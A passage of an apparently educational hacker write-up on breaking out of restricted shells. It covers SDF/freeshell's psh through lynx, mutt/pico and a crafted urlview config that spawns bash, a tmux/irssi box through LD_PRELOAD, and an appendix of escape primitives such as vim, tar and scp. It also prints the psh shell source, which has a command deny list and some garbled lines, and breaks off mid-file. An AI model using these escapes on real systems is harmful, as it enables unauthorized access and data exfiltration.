THIS MAY TAKE A MOMENT .. Trying 192.94.73.20...
|
||
|
Connected to 192.94.73.20.
|
||
|
Escape character is 'off'.
|
||
|
|
||
|
NetBSD/amd64 (ol) (pts/2)
|
||
|
|
||
|
login: new
|
||
|
|
||
|
Welcome to the SDF Public Access UNIX System - Est. 1987
|
||
|
You are the 79th guest today, logged in on 02-Sep-15 17:05:23.
|
||
|
|
||
|
Are you using Windows 2K or XP? (Y/N) N
|
||
|
|
||
|
------
|
||
|
|
||
|
This new user process takes us to the first restricted shell. FEP.
|
||
|
Typing `help` shows us the following menu:
|
||
|
|
||
|
FEP Command: help
|
||
|
|
||
|
+--------------------------------------------------------------+
|
||
|
|COMMAND | DESCRIPTION |
|
||
|
+--------------------------------------------------------------+
|
||
|
|what | what is the SDF public access UNIX? |
|
||
|
|w2k | important info for Windows 2k/XP users |
|
||
|
|mkacct | create your own UNIX shell account |
|
||
|
|dialup | US & Canada SDF dialup access |
|
||
|
|teach | for teachers and UNIX class instructors |
|
||
|
|traceroute {host} | map a route to a specified host |
|
||
|
|whois {host} | list whois directory entry for a domain |
|
||
|
|ruptime | display system status |
|
||
|
|finger {user} | check if a login is available |
|
||
|
|software | ported and installed software packages |
|
||
|
|mil | information about our US Military Waiver|
|
||
|
|logout | disconnect from sdf.org |
|
||
|
+--------------------------------------------------------------+
|
||
|
|
||
|
As you can see this provides us with some basic applications which we can
|
||
|
run, but also allows us to kick off the mkacct process to make our own
|
||
|
account.
|
||
|
|
||
|
By running the finger command on our current user (new). We can see that
|
||
|
the new user has a shell of /sys/new/mkacct, which is the restricted shell
|
||
|
we are in.
|
||
|
|
||
|
FEP Command: finger new
|
||
|
Login: new Name: SDF newuser
|
||
|
Directory: /sys/new Shell: /sys/new/mkacct
|
||
|
On since Wed Sep 2 17:05 (UTC) on pts/2 (messages off)
|
||
|
No Mail.
|
||
|
|
||
|
The next thing we can see, is that they have not sanitized the arguments to
|
||
|
finger. This means that we can pass arguments to the commands listed in the
|
||
|
menu, this is a common mistake that people make when making restricted
|
||
|
shells.
|
||
|
|
||
|
FEP Command: finger -?
|
||
|
finger: unknown option -- ?
|
||
|
usage: finger [-lmpshog8] [login ...]
|
||
|
|
||
|
If we enter finger by itself, we are prompted with the usage, rather than
|
||
|
displaying all users on the system logged in.
|
||
|
|
||
|
FEP Command: finger
|
||
|
usage: finger {user}
|
||
|
|
||
|
However by passing in --, telling getopts to terminate arguments, we can
|
||
|
accomplish the same thing, and list users logged into the system.
|
||
|
|
||
|
FEP Command: finger --
|
||
|
Login Name Tty Idle Login Time Office Office
|
||
|
Phone
|
||
|
new SDF newuser *pts/2 - Wed 17:05
|
||
|
smj Stephen M. Jones pts/0 33 Tue 21:39
|
||
|
smj Stephen M. Jones pts/4 33 Wed 16:34
|
||
|
|
||
|
This shell is not the focus of the write-up however, instead, if we run the
|
||
|
mkacct command, we are prompted for a user-name and password, and able to
|
||
|
log into our shiney new psh shell.
|
||
|
|
||
|
---
|
||
|
|
||
|
You are about to create a UNIX shell account. This account may be unlike
|
||
|
anything you've used before. We urge you to carefully read all the text
|
||
|
displayed on your terminal, as it will aide you in your learning.
|
||
|
We also encourage you to try all the commands available with your new
|
||
|
account. There are many types of games, applications and utilities
|
||
|
you will be able to instantly run in just a few moments. If you are
|
||
|
looking for a particular command or version of a command that we do not
|
||
|
have, there are ways to request that it be installed. We also offer DIALUP
|
||
|
and DSL in the USA and Canada which you will be able to learn about
|
||
|
shortly. Be patient, read what is displayed - Explore and Enjoy!
|
||
|
|
||
|
[RETURN]
|
||
|
|
||
|
First, you need to choose a LOGIN. A LOGIN allows you to LOG IN
|
||
|
to the system. Your LOGIN can be 1 to 16 characters in length and
|
||
|
can be composed of alpha-numeric characters (middle period is OK).
|
||
|
|
||
|
What would you like to use for your login?
|
||
|
|
||
|
...
|
||
|
|
||
|
Type 'help' for Commands.
|
||
|
Type 'com' to chat with other users.
|
||
|
Type 'ttytter' to listen to Twitter Tweets anonymously.
|
||
|
Type 'mud' to play the SDFmud.
|
||
|
Type 'mkhomepg' to set up your personal website.
|
||
|
|
||
|
|
||
|
Did you know you can become a permanent LIFETIME member of SDF
|
||
|
by making a onetime donation of $36? Type 'arpa' for more info!
|
||
|
|
||
|
sdf:/udd/d/dangermouse>
|
||
|
sdf:/udd/d/dangermouse> help
|
||
|
SDF psh Version 8 - *PREVALIDATED SHELL ACCOUNT*
|
||
|
|
||
|
what - what can I use this account for?
|
||
|
unix - a listing of UNIX commands available to you NOW
|
||
|
how - information on increasing membership
|
||
|
teach - using SDF in a classroom setting
|
||
|
dialup - information about SDF dialup service
|
||
|
arpa - about lifetime arpa membership
|
||
|
bboard - sdf user message boards
|
||
|
commode - chat with other users online
|
||
|
ysm - chat on the ICQ network
|
||
|
bsflite - chat on the AIM network
|
||
|
msnre - chat on the MSN network
|
||
|
ttytter - listen to Twitter tweets anonymously
|
||
|
lynx - browse the WWW textually or access GOPHER
|
||
|
bksp - set your BACKSPACE key
|
||
|
faq - frequently asked questions
|
||
|
software - display software programs installed on the system
|
||
|
quote - get a real time stock quote
|
||
|
games - a listing of available games
|
||
|
thxmoo - connect to the THXMOO
|
||
|
mud - connect to the SDFmud
|
||
|
validate - gain additional shell access (also try 'user' for details)
|
||
|
|
||
|
sdf:/udd/d/dangermouse>
|
||
|
|
||
|
----
|
||
|
|
||
|
As you can see, this shell gives us access to a variety of unix utilities
|
||
|
as well as perform some basic shell commands such as cat/cd/etc. However
|
||
|
this is a little deceiving as many of the commands are filtered. We can
|
||
|
change directory anywhere on the system, which is useful for exploring the
|
||
|
directory structure, however when we try to cat files to view their
|
||
|
contents we can see that only files in our home directory are available.
|
||
|
|
||
|
The first method which I found for breaking out of psh revolved around
|
||
|
the "lynx" text based web browser. My first thought was to open file://
|
||
|
based urls however they have disabled the ability to browse to arbitrary
|
||
|
locations.
|
||
|
|
||
|
My next thought was to spawn a shell with !, however when you attempt this,
|
||
|
the message "Spawning is disabled!" is shown. From this it was possible to
|
||
|
determine that lynx was being spawned with the "-restrictions=all" command
|
||
|
line argument. However, due to the nature of getopts() (the c library
|
||
|
function for parsing command line arguments) it is often possible to
|
||
|
re-enter the case associated for a particular argument. With this in mind
|
||
|
we could specify a new value for -restrictions, and spawn a shell with the
|
||
|
"!" key from within the new lynx. This has long been fixed in both lynx and
|
||
|
the SDF shell, psh.
|
||
|
|
||
|
The most recent way in which I escaped the psh shell was much more
|
||
|
complicated than the lynx method. The first step was to identify where the
|
||
|
source code for psh is located. Trying to change directory to an invalid
|
||
|
directory leaks this information, as seen below.
|
||
|
|
||
|
faeroes:/usr> cd doesnotexist
|
||
|
/usr/local/bin/psh[611]: cd: /usr/doesnotexist - No such file or directory
|
||
|
|
||
|
Next, I needed to view the source code of the psh, in order to look for
|
||
|
potential ways to escape. Attempting to use "cat" or "pico" to view this
|
||
|
file however, shows that they have placed restrictions around viewing files
|
||
|
outside of the home directory.
|
||
|
|
||
|
sdf:/usr/local/bin> cat /usr/local/bin/psh
|
||
|
usage: cat {filename}
|
||
|
|
||
|
Looking back at our list of possible applications to exploit for our
|
||
|
primitives I quickly fell apon the next most complex in the list, the
|
||
|
"mutt" mail client.
|
||
|
|
||
|
By pressing the E key on an email in mutt, it's possible to invoke the
|
||
|
command stored in the EDITOR environment variable, in the case of psh, this
|
||
|
is:
|
||
|
|
||
|
EDITOR=/usr/pkg/bin/pico
|
||
|
|
||
|
However, since pico is executed from within mutt, the -o (sandbox) option
|
||
|
is not used. This means that from within the spawned pico process we can
|
||
|
read any file, giving us our read primitive. The current source code for
|
||
|
the psh shell is included in the appendix for you to learn from. In order
|
||
|
to read arbitrary files from pico, we simply press the ctrl+r (^R) key
|
||
|
combination and type a file-name.
|
||
|
|
||
|
From within this pico execution we are also able to save files using the
|
||
|
ctrl+o hotkey (^O). This provides us an arbitrary write primitive, which
|
||
|
will come in useful for us later.
|
||
|
|
||
|
In the freeshell case, from within this environment we actually have the
|
||
|
ability to send email. This provides an easy way for us to exfiltrate
|
||
|
files. This can be done by reading a file (such as psh) into our pico
|
||
|
session, then mailing it to a mailinator address for extraction.
|
||
|
|
||
|
Now that we have read/write primitives, we need to leverage them to gain
|
||
|
an execution primitive. After much investigation, the way that i ended up
|
||
|
doing this was to abuse the urlview feature of mutt.
|
||
|
|
||
|
Mutt offers the ability to select a email message and hit the ctrl+b (^B)
|
||
|
hotkey in order to display a list of url's within the email message. The
|
||
|
line in the config file which enables this is shown below.
|
||
|
|
||
|
^B M |urlview\n call urlview to extract URLs out of a
|
||
|
message
|
||
|
|
||
|
As you can see, the email message is simply piped to the urlview
|
||
|
application. The description of this application from the manual page
|
||
|
describes urlview as:
|
||
|
|
||
|
urlview is a screen oriented program for extracting URLs from
|
||
|
text files and displaying a menu from which you may launch a
|
||
|
command to view a specific item.
|
||
|
|
||
|
From the man page we can see that urlview is driven from a configuration
|
||
|
file, either a system wide one "/etc/urlview.conf" or a local user copy
|
||
|
"~/.urlview". This configuration file is worth investigation with our write
|
||
|
primitive to see what is available.
|
||
|
|
||
|
Again from the configuration file, we can see that the COMMAND option fits
|
||
|
our need. It's description is shown below.
|
||
|
|
||
|
COMMAND command
|
||
|
If the specified command contains a %s, it will be subsituted with the
|
||
|
URL that was requested, otherwise the URL is appended to the COMMAND
|
||
|
string. The default COMMAND is:
|
||
|
|
||
|
url_handler.sh %s
|
||
|
|
||
|
As you can see, all that's needed it to create a configuration file with
|
||
|
the following contents:
|
||
|
|
||
|
COMMAND /usr/pkg/bin/bash # %s
|
||
|
|
||
|
This will cause urlview to append the url to the above line, and execute
|
||
|
it. Since a # is used prior to the %s the url will be treated as a
|
||
|
comment. This results in an unrestricted bash shell being executed when we
|
||
|
select an email message, press v followed by ctrl+b.
|
||
|
|
||
|
Once again this technique has been fixed, I will leave it as an exercise
|
||
|
for the reader to find a new one. Hopefully freeshell is not angry about
|
||
|
this since it is a learning exercise.
|
||
|
|
||
|
--[ A real life example - Private shell box
|
||
|
|
||
|
Recently a friend of mine set up a private ircd box for some semi-trusted
|
||
|
people. He created a chrooted environment where a user could ssh into a
|
||
|
box and be greeted with a tmux session containing a single window with the
|
||
|
irssi client inside it. I was unable to create a new window, or execute any
|
||
|
other commands. Irssi was heavily restricted using a configuration file,
|
||
|
stopping easy wins like /exec from within the irssi client.
|
||
|
|
||
|
After some trial and error, i settled into the tmux man page for
|
||
|
inspiration. tmux supports a variety of commands which can be entered by
|
||
|
pressing the tmux hotkey (ctrl+b) in this case and the : key. This provides
|
||
|
a small shell in which you can enter commands to tmux.
|
||
|
|
||
|
Reading the man-page, one of the first commands which stood out was as
|
||
|
follows:
|
||
|
|
||
|
update-environment variables
|
||
|
Set a space-separated string containing a list of environment variables
|
||
|
to be copied into the session environment when a new session is created or
|
||
|
an existing session is attached. Any variables that do not exist in the
|
||
|
source environment are set to be removed from the session environment (as
|
||
|
if -r was given to the set-environment command). The default is "DISPLAY
|
||
|
SSH_ASKPASS SSH_AUTH_SOCK SSH_AGENT_PID SSH_CONNECTION WINDOWID
|
||
|
XAUTHORITY".
|
||
|
|
||
|
To test this, i set the environment variable LD_PRELOAD to the value
|
||
|
/tmp/wut.so. Then i logged out and into the box. This resulted in a
|
||
|
segmentation faul upon connecting back as irssi tried to spawn, while
|
||
|
loading a shared library which didn't exist. Great i'd found a bug, but
|
||
|
unfortunately i'd locked myself out of the shell. Since this was a test, i
|
||
|
could luckily ask my friend to restart my tmux session, however in a real
|
||
|
case this would have been trouble. Now i had the ability to load a dynamic
|
||
|
library of my choice, however without the ability to create one on disk, i
|
||
|
was still not any better off.
|
||
|
|
||
|
After reading the tmux man page a little more, i came across the commands
|
||
|
responsible for managing the paste buffers.
|
||
|
|
||
|
Specifically, it is possible to load a paste buffer from a file using the
|
||
|
command:
|
||
|
|
||
|
load-buffer [-b buffer-name] path
|
||
|
|
||
|
(alias: loadb)
|
||
|
|
||
|
Load the contents of the specified paste buffer from path.
|
||
|
|
||
|
With the paste buffer containing a file, you can then use:
|
||
|
|
||
|
show-buffer [-b buffer-name]
|
||
|
|
||
|
(alias: showb)
|
||
|
|
||
|
Display the contents of the specified buffer.
|
||
|
|
||
|
This creates a new tmux window, containing the contents of the file you
|
||
|
loaded. This gives us the read primitive.
|
||
|
|
||
|
We can also use the command:
|
||
|
|
||
|
save-buffer [-a] [-b buffer-name] path
|
||
|
|
||
|
(alias: saveb)
|
||
|
|
||
|
Save the contents of the specified paste buffer to path. The -a option
|
||
|
appends to rather than overwriting the file.
|
||
|
|
||
|
As you can see, this command allows us to write our buffer out to a
|
||
|
different file. To experiment with this, i copied a shared library that i
|
||
|
knew existed by loading it into the buffer, then writing it out to /tmp.
|
||
|
Then i set LD_PRELOAD, and validated that irssi did not crash.
|
||
|
|
||
|
The final command needed to break out of this shell is:
|
||
|
|
||
|
set-buffer [-a] [-b buffer-name] [-n new-buffer-name] data
|
||
|
|
||
|
(alias: setb)
|
||
|
|
||
|
Set the contents of the specified buffer to data. The -a option appends
|
||
|
to rather than overwriting the buffer. The -n option renames the buffer to
|
||
|
new-buffer-name.
|
||
|
|
||
|
As you can see, this lets us manipulate the paste buffer in a more fine
|
||
|
grain manner, in order to create a .so that we can abuse to get controlled
|
||
|
code execution.
|
||
|
|
||
|
As you can see, the methodology at play here is very similar to the
|
||
|
previous examples, but the actual technology at play was very different.
|
||
|
|
||
|
--[ Attacking the transport
|
||
|
|
||
|
In some cases the restricted shell is just too restrictive, and it's just
|
||
|
not possible to gain any of these primitives. In these cases there are
|
||
|
still some things that are worth investigating. Sometimes you can attack
|
||
|
the protocol with which you are connecting to the system. The first
|
||
|
example, is the shellshock vulnerability (sorry to use a buzzword).
|
||
|
Systems which are vulnerable to shellshock can sometimes be exploited to
|
||
|
execute bash commands prior to invoking the users shell. This obviously
|
||
|
breaks out of the restrictive environment.
|
||
|
|
||
|
Another example, is when the shell is dynamically linked. (Such as
|
||
|
nologin typically). If the user is also given ftp access, or the ability to
|
||
|
otherwise write to their home directory, sometimes the .ssh/ directory can
|
||
|
be written to in order to create a config file, and if sshd is poorly
|
||
|
configured, this can allow the user to provide a LD_PRELOAD environment
|
||
|
variable to the ssh session, bypassing the nologin shell.
|
||
|
|
||
|
--[ Conclusion
|
||
|
|
||
|
As you can hopefully see, setting up a restricted shell in a secure manner
|
||
|
is an almost impossible task. The nature of secure shells involves exposing
|
||
|
an untrusted user to code which was not designed to be trusted.
|
||
|
|
||
|
While there was not too much as far as technical content in this paper,
|
||
|
hopefully it has still provided you some entertainment, and some ideas you
|
||
|
can use in the future. I definitely encourage you all to play with some
|
||
|
restricted shells as, even if you do not need the functionality, they still
|
||
|
provide a fun free wargame.
|
||
|
|
||
|
Thanks go out to freeshell.org for your interesting wargame levels over the
|
||
|
years, as well as huku for your help with this.
|
||
|
|
||
|
--[ References
|
||
|
|
||
|
1) Restricted shells - Wikipedia -
|
||
|
https://en.wikipedia.org/wiki/Restricted_shell
|
||
|
2) http://www.freeshell.org
|
||
|
3) http://www.defensecode.com/public/
|
||
|
DefenseCode_Unix_WildCards_Gone_Wild.txt
|
||
|
|
||
|
--[ Appendix A - Common commands with useful primitives
|
||
|
|
||
|
- vim :: Execution primitive
|
||
|
:set shell=/bin/bash
|
||
|
:shell
|
||
|
- arp -f <file> :: File read primitive
|
||
|
- iptables --modprobe=<cmd> :: Execution primitive
|
||
|
- tar --checkpoint-action=<cmd> :: Execution primitive
|
||
|
- rsync -e <cmd> :: Execution primitive
|
||
|
- scp -F <file> a b: :: File read primitive
|
||
|
- scp -S <command> a b: :: Execution primitive
|
||
|
- lynx 'e' :: File read/write in editor
|
||
|
- lynx ! :: Execute Primitive
|
||
|
- mail "~v" :: Execute primitive
|
||
|
|
||
|
--[ Appendix B - psh Source code
|
||
|
|
||
|
#!/usr/pkg/bin/pdksh
|
||
|
stty susp '' intr '' quit '' erase '^h'
|
||
|
count=0
|
||
|
ccount=0
|
||
|
export TERM=xterm-color
|
||
|
export SHELL=/dev/null
|
||
|
export LESSSECURE=true
|
||
|
export HISTORY=$HOME/.history
|
||
|
export EDITOR=/usr/pkg/bin/pico
|
||
|
export VISUAL=/usr/pkg/bin/pico
|
||
|
export NNTPSERVER=VALIDATE.TO.ACCESS.USENET
|
||
|
export MYTTY=`tty|cut -d/ -f3,4`
|
||
|
export SMALLTTY=`echo $MYTTY|cut -c4-5`
|
||
|
export MYIP=`echo $SSH_CLIENT|awk '{print $1}'`
|
||
|
|
||
|
if [ -f ${HOME}/.profile ]
|
||
|
then rm -f ${HOME}/.profile
|
||
|
exit 0
|
||
|
fi
|
||
|
if [ -f ${HOME}/.kshrc ]
|
||
|
then rm -f ${HOME}/.kshrc
|
||
|
exit 0
|
||
|
fi
|
||
|
|
||
|
if [ "$MYIP" = "" ]
|
||
|
then MYIP="x.x.x.x"
|
||
|
fi
|
||
|
if [ -f $HOME/.pshrc ]
|
||
|
then BACKSPACE=`grep BACKSPACE $HOME/.pshrc|cut -d= -f2`
|
||
|
if [ "$BACKSPACE" != "" ]
|
||
|
then stty erase $BACKSPACE 1>/dev/null 2>/dev/null
|
||
|
fi
|
||
|
fi
|
||
|
|
||
|
Validate(){
|
||
|
echo
|
||
|
echo "Validation is basically designed to protect us from spammers. There"
|
||
|
echo "are ways you can get validated by an SDF member. For instance if you"
|
||
|
echo "were a student and your professor taught a class here on SDF you"
|
||
|
echo "could gain validation through that class."
|
||
|
echo
|
||
|
echo "If you were referred to SDF by a friend or a current SDF member,"
|
||
|
echo "they may be able to validate your new account for you. You can"
|
||
|
echo "usually find SDF egulars in either 'com' or 'irc'. Be sure to ask"
|
||
|
echo "them to help you."
|
||
|
echo
|
||
|
echo "(continue)\c"
|
||
|
read continue
|
||
|
echo
|
||
|
echo "Validating your account ensures our future! Please do it today."
|
||
|
echo "Remember, you make SDF what it is. Without you, we wouldn't exist."
|
||
|
echo
|
||
|
echo " 1) Get a stamped envelope, a sheet of paper and ONE (1) US Dollar."
|
||
|
echo " 2) Write '$LOGNAME' clearly in the upper left hand corner of the"
|
||
|
echo "envelope."
|
||
|
echo " 3) Fold the donation inside a piece of paper and place inside the"
|
||
|
echo "envelope."
|
||
|
echo " OPTIONAL: Send TWO (2) US Dollars & SASE for an SDF Bumper Sticker."
|
||
|
echo
|
||
|
echo " 4) Seal and mail to: SDF Public Access UNIX System"
|
||
|
echo " Post Office Box 17355"
|
||
|
echo " Seattle WA 98127 USA"
|
||
|
echo
|
||
|
echo "Alternatively you may 'validate' your account via PAYPAL by clicking"
|
||
|
echo "on the"
|
||
|
echo "'DONATE' button at the bottom of the http://sdf.org website. The"
|
||
|
echo "paypal"
|
||
|
echo "minimum is \$3. Please include 'Validate $LOGNAME' in the Payment"
|
||
|
echo "For field."
|
||
|
echo
|
||
|
#echo "We also accept BitCoin for validation:"
|
||
|
echo "17GQEeNNHYPmkdgzHmHXiyMaVfgrhPvGBQ"
|
||
|
echo "We also accept BitCoin - Please type 'bitcoin' for details."
|
||
|
echo
|
||
|
echo "You may also credit the validation fee towards 'arpa' membership"
|
||
|
echo "should"
|
||
|
echo "you decide to join 'arpa' within 30 days of validating your account."
|
||
|
echo
|
||
|
echo "(continue)\c"
|
||
|
read continue
|
||
|
echo
|
||
|
echo "To see what you get as a validated member, type 'user'"
|
||
|
echo "For Lifetime ARPA membership to SDF via paypal, type 'arpa'"
|
||
|
echo "To see a list of UNIX commands you can use *NOW*, type 'unix'"
|
||
|
echo "To view user contributed tutorials, visit http://sdf.org/?tutorials"
|
||
|
echo "US Military Personnel, please type 'mil'"
|
||
|
echo
|
||
|
}
|
||
|
|
||
|
Menu(){
|
||
|
|
||
|
echo "SDF psh Version 8 - *PREVALIDATED SHELL ACCOUNT*"
|
||
|
echo
|
||
|
echo " what - what can I use this account for?"
|
||
|
echo " unix - a listing of UNIX commands available to you NOW"
|
||
|
echo " how - information on increasing membership"
|
||
|
echo " teach - using SDF in a classroom setting"
|
||
|
echo " dialup - information about SDF dialup service"
|
||
|
echo " arpa - about lifetime arpa membership"
|
||
|
echo " bboard - sdf user message boards"
|
||
|
echo " commode - chat with other users online"
|
||
|
echo " ysm - chat on the ICQ network"
|
||
|
echo " bsflite - chat on the AIM network"
|
||
|
echo " msnre - chat on the MSN network"
|
||
|
echo " ttytter - listen to Twitter tweets anonymously"
|
||
|
echo " lynx - browse the WWW textually or access GOPHER"
|
||
|
echo " bksp - set your BACKSPACE key"
|
||
|
echo " faq - frequently asked questions"
|
||
|
echo " software - display software programs installed on the system"
|
||
|
echo " quote - get a real time stock quote"
|
||
|
echo " games - a listing of available games"
|
||
|
echo " thxmoo - connect to the THXMOO"
|
||
|
echo " mud - connect to the SDFmud"
|
||
|
#echo " delme - delete your free account"
|
||
|
echo " validate - gain additional shell access (also try 'user' for"
|
||
|
echo "details)"
|
||
|
echo
|
||
|
|
||
|
}
|
||
|
|
||
|
Move(){
|
||
|
echo "Basic movement in $1:"
|
||
|
echo
|
||
|
echo "j - down (or rotate)"
|
||
|
echo "k - up (or rotate)"
|
||
|
echo "h - left"
|
||
|
echo "l - right"
|
||
|
echo "q or Q to quit"
|
||
|
echo
|
||
|
echo "[RETURN]\c"
|
||
|
read ret
|
||
|
}
|
||
|
|
||
|
case `uname -n` in
|
||
|
ol) /usr/local/bin/maint
|
||
|
kill -9 0 ;;
|
||
|
mx) echo
|
||
|
echo "mx is reserved for mail service only."
|
||
|
echo "Please use 'tty.sdf.org' to connect to SDF."
|
||
|
echo
|
||
|
sleep 5
|
||
|
kill -9 0 ;;
|
||
|
sverige) echo
|
||
|
echo "sverige is reserved for MetaARPA members only."
|
||
|
echo "Please use 'tty.sdf.org' to connect to SDF."
|
||
|
echo
|
||
|
sleep 5
|
||
|
kill -9 0 ;;
|
||
|
vinland) echo
|
||
|
echo "vinland is reserved for VHOST members only."
|
||
|
echo "Please use 'tty.sdf.org' to connect to SDF."
|
||
|
echo
|
||
|
sleep 5
|
||
|
kill -9 0 ;;
|
||
|
esac
|
||
|
|
||
|
/usr/pkg/bin/expire
|
||
|
#echo "Would you like to VALIDATE your account now? (y/n) \c"
|
||
|
#case `/usr/pkg/bin/getchar` in
|
||
|
# 121|89) echo "YES"
|
||
|
# Validate ; echo "[RETURN]\c";read return;;
|
||
|
# *) echo "NO" ;;
|
||
|
#esac
|
||
|
echo
|
||
|
echo "Please press your BACKSPACE key: \c"
|
||
|
stty raw
|
||
|
dd of=.$$ count=1 1>/dev/null 2>/dev/null
|
||
|
stty -raw
|
||
|
stty erase `head -1 .$$` 2>/dev/null
|
||
|
rm -f .$$
|
||
|
#echo
|
||
|
#echo "Enable Colours: (y/n) \c"
|
||
|
#case `/usr/pkg/bin/getchar` in
|
||
|
# 89|121) COLOR=TRUE
|
||
|
# touch -f $HOME/.color ;;
|
||
|
# *) COLOR=FALSE ;;
|
||
|
#esac
|
||
|
clear
|
||
|
echo
|
||
|
echo "===================================================================="
|
||
|
echo "SDF host uptime report for Seattle WA, Dallas TX (USA) and Germany"
|
||
|
echo " Please use 'tty.sdf.org' for general access"
|
||
|
echo "===================================================================="
|
||
|
echo
|
||
|
/usr/local/bin/ruptime -a
|
||
|
echo "(continue)\c"
|
||
|
read return
|
||
|
/usr/pkg/games/pom
|
||
|
/usr/pkg/bin/phoon
|
||
|
echo "(continue)\c"
|
||
|
read return
|
||
|
/usr/pkg/bin/guestbook -l 50
|
||
|
echo "\nType 'help' for Commands."
|
||
|
echo "Type 'com' to chat with other users."
|
||
|
echo "Type 'ttytter' to listen to Twitter Tweets anonymously."
|
||
|
echo "Type 'mud' to play the SDFmud."
|
||
|
case `url $LOGNAME` in
|
||
|
*.*.*) echo "\nYour website is http://`url ${LOGNAME}|awk '{print $1}'`"
|
||
|
echo "with files in $HOME/html\n" ;;
|
||
|
*) echo "Type 'mkhomepg' to set up your personal website.\n"
|
||
|
esac
|
||
|
case `echo $RANDOM|cut -c1` in
|
||
|
1|2|3|4|5) echo "Did you know you can become a permanent LIFETIME member"
|
||
|
echo "of SDF"
|
||
|
echo "by making a onetime donation of \$36? Type 'arpa' for more info!\n" \
|
||
|
;;
|
||
|
6|7|8|9) echo "Did you know you can validate your account and gain weekend"
|
||
|
echo "IRC access"
|
||
|
echo "by making a donation of \$1 to \$3? Type 'validate' for more"
|
||
|
echo "info!\n" ;;
|
||
|
esac
|
||
|
/usr/pkg/bin/dues -p
|
||
|
#Menu
|
||
|
PROMPT="`uname -n`"
|
||
|
while true
|
||
|
do
|
||
|
if [ ! -d $HOME ]
|
||
|
then echo "You may have become an ARPA member."
|
||
|
echo
|
||
|
echo "The update is now taking place and may require 2 or 3 minutes to"
|
||
|
echo "complete. You will now be logged out. When you reconnect, please"
|
||
|
echo "use ssh to connect to 'tty.sdf.org' for load balancing."
|
||
|
echo
|
||
|
echo "[RETURN]\c"
|
||
|
read return
|
||
|
kill -9 0
|
||
|
fi
|
||
|
|
||
|
if [ -f $HOME/.mailcap ]
|
||
|
then rm -f $HOME/.mailcap
|
||
|
fi
|
||
|
if [ "$COLOR" = "TRUE" ]
|
||
|
OMPT
|
||
|
|
||
|
thene echo "$PROMPT:`pwd`> \c"
|
||
|
fi
|
||
|
read command
|
||
|
arg=`echo ${command}|awk '{print $2,$3,$4,$5,$6}'`
|
||
|
|
||
|
#if [ "$ccount" -gt "6" ]
|
||
|
#then echo "\nPlease 'validate' or join 'arpa' today."
|
||
|
# echo "Your membership ensures our future!!\n"
|
||
|
# ccount=0
|
||
|
#else ccount=`expr $ccount + 1`
|
||
|
#fi
|
||
|
echo "[`date +"%d-%b-%y %H:%M:%S"` $MYIP $MYTTY $PROMPT] $PWD $command" \
|
||
|
2>/dev/null >>$HISTORY
|
||
|
case `echo $command|awk '{print $1}'|tr A-Z a-z` in
|
||
|
tty) tty;;
|
||
|
stty) stty;;
|
||
|
lock) lock;;
|
||
|
ulimit) ulimit;;
|
||
|
uname*) uname `echo ${command}|awk '{print $2}'` ;;
|
||
|
echo*) shift ${command}
|
||
|
echo "${command}" ;;
|
||
|
how) /usr/local/bin/how;;
|
||
|
cal*) /usr/pkg/bin/cal `echo $command|awk '{print $2}'` ;;
|
||
|
what) /usr/local/bin/newbie
|
||
|
;;
|
||
|
|
||
|
passwd*|chfn*|chsh*|maint) /usr/local/bin/passwd ;;
|
||
|
url*) url=`echo $command|awk '{print $2}'`
|
||
|
url $url;;
|
||
|
gopher*) site=`echo $command|awk '{print $2}'`
|
||
|
if [ "$site" = "" ]
|
||
|
then lynx -anonymous -restrictions=all gopher://sdf.lonestar.org
|
||
|
else lynx -anonymous -restrictions=all $site
|
||
|
fi
|
||
|
;;
|
||
|
bksp*) bksp=`echo $command|awk '{print $2}'`
|
||
|
if [ "$bksp" = "" ]
|
||
|
then echo "\nTo set your backspace key, type 'bksp' then press your"
|
||
|
echo "actual key and then press return.\n"
|
||
|
else stty erase $bksp
|
||
|
echo "BACKSPACE=$bksp" > $HOME/.pshrc
|
||
|
fi;;
|
||
|
|
||
|
bitcoin*) /usr/local/bin/bitcoin ;;
|
||
|
sftp*|ftp*) echo "\nPlease 'validate' your account to FTP files to and"
|
||
|
echo "from your SDF account.\n" ;;
|
||
|
tar*|make|cc*|tf*|gcc*|g++*|perl*|python*|ruby*|*configure*|netstat*| \
|
||
|
telnet*|ssh*|rlogin*|screen*|nmap*|wget*)
|
||
|
echo "\nTo use this feature, please join the SDF 'arpa' membership"
|
||
|
echo "ARPA membership is available to you for a one time donation of only"
|
||
|
echo "\$36."
|
||
|
echo
|
||
|
echo "Your membership ensures our future! Type 'arpa' for details.\n"
|
||
|
;;
|
||
|
getdialup*) npa=`echo $command|awk '{print $2}'`
|
||
|
/usr/local/bin/getdialup $npa ;;
|
||
|
setdialup) echo "Please validate your account first. For now you can use"
|
||
|
echo "'getdialup' to find access numbers in your area." ;;
|
||
|
phlog|deskshots|sdfers) echo "Please validate your account first." ;;
|
||
|
dialup) /usr/local/bin/dialup ;;
|
||
|
games) /usr/local/bin/games ;;
|
||
|
mud) /usr/pkg/bin/mud ;;
|
||
|
war) /sys/sdf/bin/war ;;
|
||
|
warsetup) /sys/sdf/bin/warsetup ;;
|
||
|
thxmoo) /usr/pkg/bin/thxmoo ;;
|
||
|
bj) /usr/pkg/games/bj;;
|
||
|
lander) /usr/pkg/games/lander;;
|
||
|
othello) /usr/pkg/games/othello;;
|
||
|
advent) /usr/pkg/games/advent;;
|
||
|
zork) /usr/pkg/games/advent;;
|
||
|
tttt) /usr/pkg/games/tttt;;
|
||
|
moon) /usr/pkg/bin/moon-buggy;;
|
||
|
tetrinet) if [ "$LINES" -lt "50" ]
|
||
|
then echo "% tetrinet requires your TTY to be at least 50 lines."
|
||
|
sleep 2
|
||
|
fi
|
||
|
tetrinet $LOGNAME tetrinet.sdf.org
|
||
|
;;
|
||
|
tess) /usr/pkg/games/tess;;
|
||
|
c4) /usr/pkg/games/c4;;
|
||
|
ski) /usr/pkg/games/ski;;
|
||
|
knight) /usr/pkg/games/knight;;
|
||
|
suicide) /usr/pkg/games/suicide;;
|
||
|
dinkum) /usr/pkg/games/dinkum;;
|
||
|
aybabtu) /usr/local/bin/aybabtu;;
|
||
|
barnacle) /usr/pkg/bin/barnacle;;
|
||
|
invaders) /usr/pkg/games/invaders
|
||
|
stty sane ;;
|
||
|
life) /usr/pkg/bin/life /usr/pkg/share/life/tiny.life ;;
|
||
|
order) echo "Please validate your account first.";;
|
||
|
ysm) /usr/pkg/bin/ysm;;
|
||
|
micq) /usr/pkg/bin/rmicq;;
|
||
|
bsflite) /usr/pkg/bin/bsflite;;
|
||
|
msnre) /usr/pkg/bin/msnre;;
|
||
|
dopewars) dopewars;;
|
||
|
zombies) Move $command
|
||
|
/usr/pkg/bin/zombies;;
|
